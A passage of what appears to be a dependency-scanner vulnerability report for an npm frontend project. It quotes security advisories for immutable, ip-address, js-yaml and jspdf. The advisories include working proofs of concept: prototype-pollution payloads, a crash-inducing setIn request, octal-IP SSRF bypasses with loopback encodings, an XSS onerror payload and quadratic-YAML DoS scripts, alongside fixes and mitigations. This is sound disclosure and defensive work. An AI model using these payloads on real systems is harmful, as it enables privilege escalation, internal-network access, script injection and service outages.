console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)

// Stealthy: Object.keys() hides 'admin'
console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role']
// But property lookup reveals it:
console.log("merged.admin:", merged.admin); // true
```

### PoC 2 — All affected APIs

```javascript
"use strict";
const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");

const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}');

// 1. mergeDeep
const r1 = mergeDeep({ user: "alice" }, payload);
console.log("mergeDeep admin:", r1.admin); // true

// 2. mergeDeepWith
const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload);
console.log("mergeDeepWith admin:", r2.admin); // true

// 3. merge
const r3 = merge({ user: "alice" }, payload);
console.log("merge admin:", r3.admin); // true

// 4. Map.toJS() with __proto__ key
const m = Map({ user: "alice" }).set("__proto__", { admin: true });
const r4 = m.toJS();
console.log("toJS admin:", r4.admin); // true

// 5. Map.toObject() with __proto__ key
const m2 = Map({ user: "alice" }).set("__proto__", { admin: true });
const r5 = m2.toObject();
console.log("toObject admin:", r5.admin); // true

// 6. Nested path
const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}');
const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested);
console.log("nested admin:", r6.profile.admin); // true

// 7. Confirm NOT global
console.log("({}).admin:", {}.admin); // undefined (global safe)
```

**Verified output against immutable@5.1.4:**

```
mergeDeep admin: true
mergeDeepWith admin: true
merge admin: true
toJS admin: true
toObject admin: true
nested admin: true
({}).admin: undefined  ← global Object.prototype NOT polluted
```


## References
_Are there any links users can visit to find out more?_

- [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)
CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

CVSSv3:
  • Base Score: CRITICAL (9.800000190734863)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:immutable:\>\=4.0.0-rc.1\<4.3.8:*:*:*:*:*:*:*

GHSA-v56q-mh7h-f735 (NPM)  

## Summary

`List#set`, `List#setSize`, `List#setIn`, `List#updateIn` (and the functional `set` / `setIn` / `updateIn`) mishandle an index or size in the range `[2 ** 30, 2 ** 31)`:

- On an **empty** `List` the operation enters an **uncatchable infinite loop** (a tight CPU spin; a surrounding `try/catch` never regains control). Only killing the worker recovers it.
- On a **populated** `List` (≥ 32 elements — i.e. any array of ≥ 32 items turned into a `List` by `fromJS`) the loop allocates without bound → heap exhaustion → the **process aborts** (`SIGABRT`, exit `134`, or kernel OOM-kill `137`). A real crash, not a recoverable error.

The index may be a **numeric string**, so it can come straight from a request body, URL, or key-path. A single small unauthenticated request is enough.

There is also a companion **silent data-corruption** issue in `setSize`:

```js
List([1, 2, 3]).setSize(2 ** 31); // before fix => size 0  (silently cleared)
List([1, 2, 3]).setSize(2 ** 32 + 5); // before fix => size 5  (huge value wraps to 5)
```

## Impact

Availability only. A reachable configuration is any endpoint that routes untrusted input into a `List` index or a `setIn`/`updateIn` key-path — which the extremely common `state = fromJS(body); state.setIn(userPath, value)` pattern does (config stores, document/collection editors, redux-immutable reducers, JSON-Patch endpoints, etc.).

No confidentiality or integrity impact, no RCE. The companion `setSize` bug can silently corrupt application state (wrong size) without crashing.

## Reproduction (immutable 5.1.7)

```ts
import { fromJS, List } from 'immutable';

// 1) Populated List: OOM -> process abort (SIGABRT, exit 134) within ~2s
fromJS({ items: new Array(64).fill(0) }).setIn(['items', '1073741824'], 'x');

// 2) Empty List: hangs forever, uncatchable
List().set(2 ** 30, 'x');

// 3) Silent truncation
List([1, 2, 3]).setSize(2 ** 31); // => size 0
List([1, 2, 3]).setSize(2 ** 32 + 5); // => size 5
```

A remote 43-byte HTTP request (`{"path":["items","1073741824"],"value":"x"}`) is sufficient to abort a worker that applies it via `state = state.setIn(path, value)`.

Any index in `[2 ** 30, 2 ** 31)` works (`1073741824`, `2000000000`, …). An index in `[2 ** 31, 2 ** 32)` does not crash — it silently wraps (clearing the List) via the same root cause.

## Root cause

`List` stores its values in a 32-wide trie (`SHIFT = 5`, so each level addresses 5 more bits) and uses **signed 32-bit bitwise arithmetic** throughout `setListBounds()` (`src/List.js`):

1. **Infinite loop (the hang / OOM).** The level-raising loop

```js
while (newTailOffset >= 1 << (newLevel + SHIFT)) {
  newRoot = new VNode(
    newRoot && newRoot.array.length ? [newRoot] : [],
    owner
  );
  newLevel += SHIFT;
}
```

relies on `1 << (newLevel + SHIFT)`. A JavaScript shift count is taken **mod 32**, so once `newLevel + SHIFT` reaches `31` the term goes **negative** (`1 << 31 === -2147483648`) and at `32` wraps to `1` (`1 << 35 === 8`). The comparison then stays `true` forever and the loop never terminates. On a populated `List`, each iteration retains a new `VNode` (`[newRoot]`), so the heap fills and V8 aborts; on an empty `List` it spins on CPU without allocating.

2. **Silent wraparound (the `setSize` corruption).** The `begin |= 0` / `end |= 0` coercion (`ToInt32`) silently wraps large finite values (`(2 ** 31) | 0 === -2147483648`, `(2 ** 32 + 5) | 0 === 5`), producing a wrong resulting size instead of an error.

The threshold is `2 ** 30`: that is the largest size for which `1 << (newLevel + SHIFT)` stays a valid positive 32-bit integer throughout the loops (`newLevel + SHIFT` stays ≤ 30).

## Remediation

The fix is contained to `setListBounds()` in `src/List.js`:

1. **Validate up front, before the lossy `| 0` coercion.** Compute the intended origin and capacity in full precision and throw a clear, catchable `RangeError` when they exceed the addressable range (`MAX_LIST_SIZE = 2 ** 30`). `Infinity`/`NaN` are left to the existing `| 0 → 0` behaviour (so `setSize(Infinity)` stays `0` and `slice(0, Infinity)` still means "to the end").

2. **Stop the shift from wrapping.** Replace `1 << exp` in the level-raising loops with a helper that uses the cheap bitwise shift while it is exact (`exp ≤ 30`, the common path including every `push`/`setSize`/`slice`) and falls back to the non-wrapping `2 ** exp` only for the rare deep trees reached when a negative origin (`unshift` / negative index) is normalized to a large positive capacity (`exp` can reach 35 there, where `1 << 35` would wrap to 8).

This turns every hang, the misleading `"Maximum call stack size exceeded"`, the OOM/`SIGABRT`, and the silent `setSize` truncation into one descriptive `RangeError`, preserves all behaviour for sizes `< 2 ** 30`, and keeps the hot `push` path on the fast bitwise shift (the `2 ** exp` branch is never reached by non-negative operations).

### Is the new limit a breaking change?

No working code is affected. A `List` could never actually hold `≥ 2 ** 30` values before — the attempt hung, crashed, or silently corrupted the size. The limit was already implicit in the 32-bit trie; the fix only makes it explicit and catchable, mirroring native JS arrays (`new Array(2 ** 32)` → `RangeError: Invalid array length`). The single observable behaviour change is that `setSize(hugeValue)`, which used to return a silently wrong size, now throws. `2 ** 30` ≈ 1.07 billion entries (~8 GB of pointers alone), far beyond any practical use.

## Mitigations (for users who cannot upgrade immediately)

- Validate/clamp any externally supplied `List` index or `setIn`/`updateIn` key-path segment against a sane maximum before passing it to immutable.
- Reject numeric path segments `≥ 2 ** 30`.
- Run request handling in a worker that can be restarted, and cap the heap (`--max-old-space-size`) so an abort is contained.
CWE-400 Uncontrolled Resource Consumption, CWE-190 Integer Overflow or Wraparound, CWE-1284 Improper Validation of Specified Quantity in Input, CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:immutable:\<4.3.9:*:*:*:*:*:*:*

GHSA-xvcm-6775-5m9r (NPM)  

## Summary

`Immutable.Map` and `Immutable.Set` keep keys that share the same 32-bit hash in a collision bucket that is scanned linearly. The string hash is public and deterministic, so an attacker who controls the **keys** inserted into a Map can craft many keys that all collide, degrading insertion and lookup from amortized O(1) to O(n) per operation — and O(n²) to build or read the whole set. A small, attacker-shaped payload can therefore consume disproportionate CPU and, on a single-threaded runtime such as Node.js, stall the event loop and deny service.

## Details

The string hash uses the JVM-style polynomial `hashed = (31 * hashed + charCode) | 0`. Strings such as `"Aa"` and `"BB"` hash to the same value (`65*31+97 == 66*31+66 == 2112`), and concatenating such blocks yields `2^n` distinct strings sharing one hash (40 characters ⇒ >1,000,000 colliding keys). 
All such keys route to a single `HashCollisionNode`, whose `get`/`update` walk the entire bucket testing `is()`. There is no per-process salt, so the colliding set is fully precomputable from the open-source algorithm.

## Proof of concept

Inserting N colliding keys (e.g. via `Immutable.Map(obj)` / `Immutable.fromJS(obj)`) is O(N²). Measured on one machine, ~8,000 colliding
keys take ~0.7 s to build and ~0.6 s to read, scaling ×4 per doubling; ~16,000 keys exceed several seconds.

## Impact

CPU-bound denial of service in applications that ingest attacker-controlled object **keys** into Immutable structures, e.g. `Immutable.Map(req.body)`, `Immutable.fromJS(req.body)`, `state.merge(userObject)` / `mergeDeep(...)`. Applications that only store attacker input as **values** under fixed keys are not affected.

## Affected versions

All versions through `5.1.7` (the deterministic string hash and linear collision bucket have existed since the 4.x line).

## Patches

Fixed in `5.1.8` _(adjust to the actual release)_: large collision buckets are indexed by a per-process **seeded** secondary hash, restoring near-linear behavior for the affected paths. The public `hash()` is unchanged (no breaking change), and `is()` remains the sole authority on key equality.

## Workarounds

Before passing untrusted data to Immutable.js: cap request body size, limit object key count/length, and reject high-cardinality payloads; avoid building Maps directly from untrusted object keys.

## References

- CWE-407 (Inefficient Algorithmic Complexity), CWE-400 (Uncontrolled Resource Consumption)
- OWASP API4:2023 (Unrestricted Resource Consumption)
CWE-400 Uncontrolled Resource Consumption, CWE-407 Inefficient Algorithmic Complexity

Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:immutable:\<4.3.9:*:*:*:*:*:*:*

ip-address:10.1.0

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?ip-address

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/ip-address@10.1.0  (Confidence:Highest)

GHSA-mwp4-54f8-5fhr (NPM)  

### Summary

`Address4` accepts an octet written with a leading zero and decodes it as decimal, while the WHATWG URL host parser, `inet_aton`, and `getaddrinfo` all decode a leading zero as octal. The library and the network stack therefore disagree about which host a string names. `new Address4('012.0.0.1')` reports `correctForm()` of `12.0.0.1` and `isPrivate()` of `false`, but `fetch('http://012.0.0.1/')` connects to `10.0.0.1`.

An application that builds a network trust-boundary decision on these checks (for example a filter intended to block Server-Side Request Forgery, or SSRF) will classify an internal target as external and allow the request. SSRF is an attack in which a user-supplied address coaxes the server into making a request to an internal destination the user could not otherwise reach, such as a loopback service or a cloud metadata endpoint.

### Details

`Address4.parse` gates untrusted input on `RE_ADDRESS` (`src/v4/constants.ts:5`), whose per-octet alternative is:

```
(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)
```

The `[01]?[0-9][0-9]?` branch matches a leading zero, so `012` passes validation. Every downstream decode then reads the octet with `parseInt(part, 10)` (`src/common.ts:87`), yielding 12. A resolver reading the same string treats the leading `0` as base 8 and yields 10.

The defect is in the parse gate rather than in any one classifier, so every consumer of `Address4` inherits it: `isPrivate()`, `isLoopback()`, `isLinkLocal()`, `isCGNAT()`, `isInSubnet()`, `isHostInSubnet()`, and `correctForm()` are all computed from the mis-decoded octets.

`Address6` already rejects this notation on its IPv4-in-IPv6 path, throwing "IPv4 addresses can't have leading zeroes." (`src/ipv6.ts:751-762`), so `Address4` is the outlier within the library.

### Affected versions

`<= 10.3.0`. Unlike GHSA-22jq-vg5j-6vgg and GHSA-4xrf-jv44-h6hh, which were bounded below by the `is*` classification API introduced in 10.1.1, this defect is in `parse` and reaches every release: a guard built on `isInSubnet()` against the RFC 1918 ranges is affected in versions predating that API.

### Impact

The disagreement runs in both directions. Under-blocking is the security-relevant case; over-blocking is a correctness and availability problem.

| Input | `correctForm()` | Classified as | Resolver reaches | Effect |
|---|---|---|---|---|
| `012.0.0.1` | `12.0.0.1` | public | `10.0.0.1` | internal target allowed |
| `012.012.012.012` | `12.12.12.12` | public | `10.10.10.10` | internal target allowed |
| `010.0.0.1` | `10.0.0.1` | private | `8.0.0.1` | public target blocked |

Reachable targets are those whose leading octet is expressible as a three-character octal literal, which covers the whole of `10.0.0.0/8` and `0.0.0.0/8`. A four-character octet such as `0177` for 127 is rejected by the regex, so loopback is not reachable through this path; see the note on rejection below for why rejection is not the same as safety.

### Reachability

A leading-zero address is a legal URL host, so this is reachable through the ordinary URL path with no unusual application shape required:

```js
new URL('http://012.0.0.1/').hostname   // '10.0.0.1'
```

This distinguishes it from GHSA-4xrf-jv44-h6hh, where the `/0` CIDR suffix could not survive URL parsing and exploitation therefore required an application that accepted a bare suffix-bearing string. Here the attack rides the same code path a normal user-supplied URL takes.

### Proof of concept

`npm i ip-address@10.3.0`, then:

```js
const { Address4 } = require('ip-address');

// A guard of the shape the library documents.
function isBlocked(host) {
  return Address4.isValid(host) && new Address4(host).isPrivate();
}

for (const h of ['10.0.0.1', '012.0.0.1', '012.012.012.012']) {
  console.log(isBlocked(h) ? 'BLOCK' : 'ALLOW', h,
              '-> resolver reaches', new URL('http://' + h + '/').hostname);
}
```

On affected versions:

```
BLOCK 10.0.0.1 -> resolver reaches 10.0.0.1
ALLOW 012.0.0.1 -> resolver reaches 10.0.0.1
ALLOW 012.012.012.012 -> resolver reaches 10.10.10.10
```

The literal RFC 1918 address is blocked as expected; the octal-ambiguous spellings of the same destinations are allowed through.

### Remediation

Upgrade to the patched release. In the fix, `Address4.parse` rejects any octet with a leading zero followed by further digits, mirroring the check `Address6` already applies at `src/ipv6.ts:751`, and `RE_ADDRESS` is tightened so those forms no longer appear in the valid corpus. After upgrading, `Address4.isValid('012.0.0.1')` returns `false` and the constructor throws `AddressError`.

This rejects input that previous releases accepted. An application that deliberately feeds zero-padded addresses such as `010.010.010.010` from a legacy system must strip the padding before parsing.

If you cannot upgrade immediately, reject any host whose octets carry a leading zero before you parse it:

```js
if (host.split('.').some((octet) => /^0\d/.test(octet))) throw new Error('ambiguous address');
```

### A note on SSRF defense

These methods are address classifiers, not a complete SSRF defense. Regardless of this fix, a robust SSRF guard must resolve the hostname and validate the *resolved* IP against the socket it connects to, and account for DNS rebinding and redirects. Treat these checks as one layer, not the only one.

One specific pitfall is worth naming, because the fix above does not remove it. `Address4.isValid()` returning `false` means "this is not a dotted-quad IPv4 literal"; it does not mean "this is not an address that will reach an internal host". Every one of the following is rejected by `isValid()` and still resolves to loopback:

```
0177.0.0.1    0x7f.0.0.1    0x7f000001    2130706433
127.1         127.0.1       127.0.0.1.    127.0.0.1
```

A guard shaped `if (Address4.isValid(h)) { check() } else { treatAsHostname() }` therefore routes all of them past the IP check. Rejecting these is correct behavior for an IPv4 parser and is not changed by this advisory, but a guard must treat "not a valid literal" as a case to resolve and re-check, never as a case to allow.
CWE-20 Improper Input Validation, CWE-918 Server-Side Request Forgery (SSRF)

Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:ip-address:\<\=10.3.0:*:*:*:*:*:*:*

GHSA-v2v4-37r5-5v8g (NPM)  

### Summary

`Address6.group()` and `Address6.link()` do not HTML-escape attacker-controlled content before embedding it in the HTML strings they return, and `AddressError.parseMessage` (emitted by the `Address6` constructor for invalid input) can contain unescaped attacker-controlled content in one branch. An application that (1) passes untrusted input to `Address6` and (2) renders the output of these methods, or the thrown error's `parseMessage`, as HTML (e.g. via `innerHTML`) is vulnerable to cross-site scripting. A related issue in `v6.helpers.spanAll()` produced malformed markup but was not exploitable; it is hardened in the same release for consistency.

### Details

Four related issues were identified and fixed together:

1. **`Address6.group()`: zone ID injection.** The `Address6` constructor stores the raw input (including any IPv6 zone ID) in `this.address` before zone stripping. `group()` then passed `this.address` to `helpers.simpleGroup()`, which wrapped each `:`-separated segment in a `<span>` element without HTML-escaping the content. A zone ID containing HTML markup was embedded verbatim.
2. **`Address6.link({ prefix, className })`: attribute-value injection.** `link()` concatenated user-supplied `prefix` and `className` into the `href="…"` and `class="…"` attributes without escaping. A caller passing untrusted content through these options could inject event handlers (e.g. `onmouseover`) and achieve XSS.
3. **`Address6` constructor: leading-zero IPv4 error path.** The leading-zero branch in `parse4in6()` built `AddressError.parseMessage` by concatenating the raw address through `String.replace()`. Because `parse4in6()` runs before the bad-character check, any characters in the groups preceding the IPv4 suffix flowed into the error's HTML unescaped. Consumers who render `parseMessage` as HTML (its documented purpose — it already contains `<span class="parse-error">` markup) could be XSS'd by a crafted input such as `<img src=x onerror=alert(1)>:10.0.01.1`.
4. **`v6.helpers.spanAll()`: attribute-value injection (defense in depth).** `spanAll()` embedded each character of its input into a `class="digit value-${n} …"` attribute without escaping. Because `split('')` limits `n` to a single character this was not exploitable in practice, but it produced malformed markup and is fixed for consistency.

### Affected Versions

All versions up to and including `10.1.0`.

### Patched Version

`10.1.1`.

### Impact

Real-world exposure is believed to be extremely limited. Analysis of all 425 dependent npm packages as well as GitHub code search found zero consumers of `group()`, `link()`, or `spanAll()`: these HTML-emitting surfaces appear to be unused across published npm packages and public repositories. Applications using only the address-parsing and comparison APIs (`isValid`, `correctForm`, `isInSubnet`, `bigInt`, etc.) are not affected.

Consumers who **do** render the output of `group()`, `link()`, `spanAll()`, or `AddressError.parseMessage` as HTML against untrusted input should upgrade.

### PoC

```javascript
const { Address6 } = require('ip-address');
const addr = new Address6('fe80::1%<img src=x onerror=alert(1)>');
document.body.innerHTML = addr.group();  // fires the onerror handler in 10.1.0
```

### Workarounds

If users cannot upgrade immediately:

- Do not pass untrusted input to the `Address6` constructor, or
- Never render the output of `group()`, `link()`, or `spanAll()`, nor the `parseMessage` field of any thrown `AddressError`, as HTML; treat these values as text only, or run them through [DOMPurify](https://github.com/cure53/DOMPurify) before inserting into the DOM (DOMPurify's default configuration preserves the library's intended `<span>` wrapping while stripping any injected event handlers), or
- Validate input with `Address6.isValid()` and reject anything that contains a zone identifier (a `%` character) or characters outside `[0-9a-fA-F:/]` before passing it to the constructor.

### Lack of separate CVEs

Given the evidence that these methods are not used, and given that they are all of the same construction, maintainers do not think it's relevant or useful to create a separate CVE for each library method.

### Credit

ip-address thanks @scovetta for reporting this issue.
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:ip-address:\<\=10.1.0:*:*:*:*:*:*:*

js-yaml:4.1.1

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?js-yaml

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/js-yaml@4.1.1  (Confidence:Highest)

GHSA-52cp-r559-cp3m (NPM)  

### Impact

js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

```yaml
a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN
```

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

### PoC

From N = 4000 delay become > 1s (doc size < 100K)

```js
import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) {
  const lines = ['a0: &a0 { k0: 0 }']

  for (let i = 1; i < count; i++) {
    lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
  }

  lines.push(`b: *a${count - 1}`)
  return `${lines.join('\n')}\n`
}

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started

console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)
```

### Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.
CWE-400 Uncontrolled Resource Consumption, CWE-407 Inefficient Algorithmic Complexity

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:js-yaml:\>\=4.0.0\<4.3.0:*:*:*:*:*:*:*

GHSA-5p4m-2wfm-xmqj (NPM)  

# Quadratic CPU consumption in `!!omap` resolution (js-yaml 3.x and 4.x)

## Summary

`resolveYamlOmap()` enforces key uniqueness for `!!omap` sequences with a linear
scan (`objectKeys.indexOf(...)`) inside the per-element loop, making resolution
**O(n²)** in the number of entries. A modestly sized YAML document therefore
consumes disproportionate CPU inside `yaml.load()`, giving a denial of service
against any consumer that parses untrusted YAML.

`!!omap` is registered in the **default schema**
(`lib/schema/default.js` → `require('../type/omap')`), so a plain
`yaml.load(untrustedInput)` with no options is affected — no custom schema or
non-default configuration is required.

**This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm**, which was
fixed in the 5.x line in 5.2.1. That fix was never backported: both currently
maintained legacy lines still carry the original implementation.

## Affected versions

| Line | Latest tested | Status |
|---|---|---|
| 3.x | **3.15.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:29` |
| 4.x | **4.3.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:30` |
| 5.x | 5.2.2 | **Not affected** — fixed in 5.2.1 (uses a `Set`) |

Both figures are the newest release of each line at the time of writing, so
this is not a "you are on an old version" issue.

## Details

`lib/type/omap.js` (js-yaml 4.3.0):

```js
if (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey)
else return false
```

`objectKeys` grows by one element per entry, and `Array.prototype.indexOf` is a
linear scan, so resolving an `n`-entry `!!omap` performs roughly
`1 + 2 + … + n` comparisons — quadratic in `n`. The work happens synchronously
inside `yaml.load()`, blocking the event loop for its whole duration.

The 5.x line already solves exactly this by tracking seen keys in a `Set`
(`src/tag/sequence/omap.ts`):

```ts
if (carrier.seen.has(key)) return 'duplicate key in ordered map'
carrier.seen.add(key)
```

## Proof of concept

```js
// poc.js  —  node poc.js
const yaml = require('js-yaml');
const doc = n => '!!omap\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\n') + '\n';

for (const n of [10000, 20000, 40000, 80000]) {
  const d = doc(n), t = Date.now();
  yaml.load(d);                      // default schema, no options
  console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`);
}
```

### Measured (node v20.20.2, default heap, no flags)

**js-yaml 4.3.0**

```
n=10000  bytes=137787   load=54ms
n=20000  bytes=297787   load=169ms
n=40000  bytes=617787   load=646ms
n=80000  bytes=1257787  load=2607ms
```

**js-yaml 3.15.0**

```
n=10000  bytes=137787   load=53ms
n=20000  bytes=297787   load=166ms
n=40000  bytes=617787   load=641ms
n=80000  bytes=1257787  load=2567ms
```

Runtime grows by a factor of ~4 for each doubling of `n`, which is the
signature of O(n²) (linear growth would be ~2×).

Scaling further: a **2.48 MB** document with 150,000 entries blocked
`yaml.load()` for **10.8 seconds**.

## Impact

Any service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be
stalled with a small input. Because the loop is synchronous, a single request
blocks the Node.js event loop and stalls every other request in the process —
so the amplification is per-process, not just per-request.

Suggested severity: consistent with **CVE-2026-59870** (the same weakness in
5.x), i.e. Availability-only impact, network attack vector, no privileges or
user interaction required.

## Suggested fix

Mirror the 5.x fix — replace the linear scan with a `Set`:

```js
// lib/type/omap.js
const seen = new Set()
// ...
if (seen.has(pairKey)) return false
seen.add(pairKey)
```

This preserves the existing duplicate-key rejection semantics exactly while
making resolution O(n). A `maxOmapLength`-style cap would also work, but the
`Set` matches what 5.x already ships and requires no new option.

## References

- CVE-2026-59870 / GHSA-724g-mxrg-4qvm — same weakness in 5.0.0–5.2.0, fixed in 5.2.1
- `lib/type/omap.js` (3.x, 4.x) — the affected resolver
- `lib/schema/default.js` — registers `!!omap` in the default schema

## Discovery

Found by an automated static-analysis and executed-proof-of-concept scanner run
against js-yaml 4.2.0, then manually verified against 3.15.0 and 4.3.0 by
executing the proof of concept above. All timings in this report were measured
on the **current** releases of each line, not on the version originally scanned.
CWE-407 Inefficient Algorithmic Complexity

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:js-yaml:\>\=4.0.0\<4.3.1:*:*:*:*:*:*:*

GHSA-h67p-54hq-rp68 (NPM)  

### Summary
A crafted YAML document can trigger algorithmic CPU exhaustion in `js-yaml` merge-key processing (`<<`) by repeating the same alias many times in a merge sequence.  
This causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service.

### Details
The issue is in merge handling inside `lib/loader.js`:

- `storeMappingPair(...)` iterates every element of a merge sequence when key tag is `tag:yaml.org,2002:merge`.
- For each element, it calls `mergeMappings(...)`.
- `mergeMappings(...)` computes `Object.keys(source)` and performs `_hasOwnProperty.call(destination, key)` checks for each key.

When input is of the form:

a: &a {k0:0, k1:0, ..., kK:0}
b: {<<: [*a, *a, *a, ... repeated M times ...]}
all *a entries refer to the same anchored object. After the first merge, subsequent merges are semantically no-ops, but the parser still reprocesses all keys each time.
Resulting work is O(K * M), while input size is O(K + M), giving quadratic scaling as payload grows.
Relevant code path:
lib/loader.js in storeMappingPair(...) merge branch (keyTag === 'tag:yaml.org,2002:merge')
lib/loader.js mergeMappings(...)


### Root cause
File:       lib/loader.js
Function:   storeMappingPair(state, _result, overridableKeys, keyTag, keyNode,
                             valueNode, startLine, startLineStart, startPos)
Lines:      ~359-366

    if (keyTag === 'tag:yaml.org,2002:merge') {
      if (Array.isArray(valueNode)) {
        for (index = 0, quantity = valueNode.length; index < quantity; index += 1) {
          mergeMappings(state, _result, valueNode[index], overridableKeys);
        }
      } else {
        mergeMappings(state, _result, valueNode, overridableKeys);
      }
    }

When the merge value is a sequence (YAML 1.1 <<: [ *a, *a, ... ]), each element
is handed to mergeMappings() without deduplication. mergeMappings() then does

    sourceKeys = Object.keys(source);
    for (index = 0; index < sourceKeys.length; index += 1) {
      key = sourceKeys[index];
      if (!_hasOwnProperty.call(destination, key)) {
        setProperty(destination, key, source[key]);
        overridableKeys[key] = true;
      }
    }

Every alias reference in the sequence resolves (by design) to the SAME object
via state.anchorMap. After the first merge, every subsequent merge of that same
reference is a pure no-op semantically, but still performs:

  * one Object.keys(source) call (O(K))
  * K _hasOwnProperty.call checks on the destination

Total: M * K hasOwnProperty checks + M Object.keys allocations, while the final
object and all observable side effects are identical to a single merge.

YAML semantics for `<<:` are idempotent and commutative over duplicate sources,
so collapsing duplicates preserves behavior exactly; this isn't a spec trade-off.


### PoC
Environment:
js-yaml version: 4.1.1
Node.js: v24.5.0
Platform: arm64 macOS (reproduced consistently)
Reproduction script:
Create many keys in one anchored map (&a).
Merge that same alias repeatedly via <<: [*a, *a, ...].
Measure parse time and compare with control payload using single merge (<<: *a).
Observed repeated runs (same machine):
K=M=1000, input 9,909 bytes: ~33–36 ms
K=M=2000, input 20,909 bytes: ~121–123 ms
K=M=4000, input 42,909 bytes: ~524–537 ms
K=M=6000, input 64,909 bytes: ~1,608–1,829 ms
K=M=8000, input 86,909 bytes: ~3,395–3,565 ms
Control (single merge, similar key counts):
K=2000: ~1–2 ms
K=4000: ~3 ms
K=8000: ~5 ms
Also verified: repeated-merge output equals single-merge output (same key count and same JSON), confirming excess time is redundant computation.


### Impact
This is a denial-of-service vulnerability (CPU exhaustion / algorithmic complexity).
Any service parsing untrusted YAML with js-yaml can be impacted, including API backends, CI tools, config processors, and automation services. An attacker can submit crafted YAML to significantly increase CPU time and reduce availability.

### Suggested fix:
Dedupe the merge source list by reference before invoking mergeMappings. Any of
the following are minimal and preserve YAML 1.1 merge semantics:

dedupe in storeMappingPair:

    if (keyTag === 'tag:yaml.org,2002:merge') {
      if (Array.isArray(valueNode)) {
        var seen = new Set();
        for (index = 0, quantity = valueNode.length; index < quantity; index += 1) {
          var src = valueNode[index];
          if (seen.has(src)) continue;   // idempotent; skip redundant alias
          seen.add(src);
          mergeMappings(state, _result, src, overridableKeys);
        }
      } else {
        mergeMappings(state, _result, valueNode, overridableKeys);
      }
    }
CWE-407 Inefficient Algorithmic Complexity

CVSSv3:
  • Base Score: MEDIUM (5.300000190734863)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:js-yaml:\>\=4.0.0\<\=4.1.1:*:*:*:*:*:*:*

jspdf:4.0.0

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?jspdf

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/jspdf@4.0.0  (Confidence:Highest)

GHSA-wfv2-pwc8-crg5 (NPM)  

### Impact

User control of the `options` argument of the `output` function allows attackers to inject arbitrary HTML (such as scripts) into the browser context the created PDF is opened in. The affected overloads and options are:

* `"pdfobjectnewwindow"`: the `pdfObjectUrl` option and the entire options object, which is JSON-serialized and included verbatim in the generated HTML-string.
